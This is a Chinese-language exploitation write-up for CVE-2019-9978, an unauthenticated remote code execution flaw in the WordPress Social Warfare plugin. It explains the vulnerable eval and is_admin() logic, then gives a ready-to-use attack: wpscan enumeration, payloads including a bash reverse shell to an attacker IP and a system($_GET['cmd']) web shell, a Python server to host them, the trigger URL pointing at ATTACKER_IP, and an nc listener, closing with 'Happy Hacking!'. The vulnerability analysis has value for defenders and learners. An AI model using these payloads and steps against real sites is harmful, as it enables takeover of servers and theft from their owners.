| 属性 | 值 |
|---|
| CVE ID | CVE-2019-9978 |
| 受影响软件 | Social Warfare 插件 ≤ 3.5.2(WordPress) |
| 漏洞类型 | 远程代码执行(RCE)/ 远程文件包含(RFI) |
| 是否需要认证 | ❌ 不需要 – 无需认证 |
| CVSS 评分 | 9.8(严重) |
| 修复版本 | 3.5.3 |
| 是否已在野外被利用 | 是 – 2019年3月 |
Social Warfare 插件是一个流行的 WordPress 插件,用于在网站上添加社交分享按钮。3.5.0 到 3.5.2 版本存在一个严重 RCE 漏洞,允许攻击者无需任何身份验证即可在服务器上执行任意 PHP 代码。
Social Warfare 是一个流行的 WordPress 插件,用于添加社交分享按钮,让访问者可以轻松地在以下平台分享内容:

if ( true == SWP_Utility::debug( 'load_options' ) ) {
// ⚠️ 关键误解:
// is_admin() 只检查页面是否在 /wp-admin/ 中
// 它并不验证身份验证或用户权限!
if ( is_admin() ) {
wp_die( 'You do not have authorization to view this page.' );
}
// 第一步:从用户控制的 URL 获取远程文件
// 没有验证、没有清理、没有白名单!
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
// 第二步:提取 <pre> 标签之间的内容
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
// 第三步:构建 PHP 代码字符串
$array = 'return ' . $options . ';';
// 第四步:💀 关键缺陷 - 执行用户提供的代码!
try {
$fetched_options = eval( $array ); // <-- 远程代码执行
// ... 其余迁移逻辑
} catch ( ParseError $e ) {
// ... 错误处理
}
}
is_admin() 不是安全措施WordPress 函数 is_admin() 不检查用户是否登录或拥有管理员权限。它只检查请求的页面是否在 /wp-admin/ 目录中:
function is_admin() {
return defined('WP_ADMIN') && WP_ADMIN;
// 不检查身份验证!
// 不检查用户角色!
}
讽刺之处: 当你访问 /wp-admin/admin-post.php 时,WordPress 定义 WP_ADMIN = true。这导致 is_admin() 即使对于未经认证的请求也返回 true,从而启用了漏洞代码块。
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array ); // <-- 远程代码执行
}
该插件有一个隐藏的“调试”功能,本意是帮助开发人员从外部 URL 加载配置文件。然而,这个功能有一个致命缺陷:它会从用户提供的 URL 下载任何文件,并执行其中找到的任何代码——无需请求许可,也不检查用户是否被授权。
利用方式很简单:
攻击者在自己服务器上托管一个恶意文件,告诉插件下载它,然后插件盲目地在受害者网站上运行攻击者的代码。由于该插件不需要登录即可触发此操作,任何知道 URL 的人都可以接管网站。
可以这样理解: 想象一个保安,当你说“调试模式”时,他会打开任何门——而不检查你是否在那里工作或是否有工牌。这恰恰就是该漏洞所做的。
漏洞利用代码需要写在 <pre></pre> 标签之间。
使用 WPScan 确认 Social Warfare 插件版本:
wpscan --url http://target.com --enumerate vp
如果你自己安装,别忘了在管理面板中激活插件。
创建 payload.txt,放入你想要的 payload,然后搭建服务器来提供该 payload。
示例 payload:
测试 Payload(验证 RCE):
<pre>phpinfo();</pre>
出网测试:
<pre>@file_get_contents('http://burp collabrator');</pre>
Linux 反弹 Shell:
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>
交互式命令执行器:
<pre>system($_GET['cmd']);</pre>
启动 Python HTTP 服务器来托管 payload:
python3 -m http.server 8000
现在你的 payload 可通过以下地址访问:http://YOUR_IP:8000/payload.txt
如果你使用 localhost:
http://127.0.0.1:8000/payload.txt
在受害代码发起请求后,你应该能看到一个 200 状态码:

选项 A – 手动触发:
在浏览器中访问此 URL 或使用 curl:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt
再次说明,如果你使用 localhost:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt
nc -lvnp 4444
如果成功,你将获得一个 shell!
<pre>@file_get_contents('http://burp collabrator');</pre>

<pre>phpinfo();</pre>

Happy Hacking! 🚀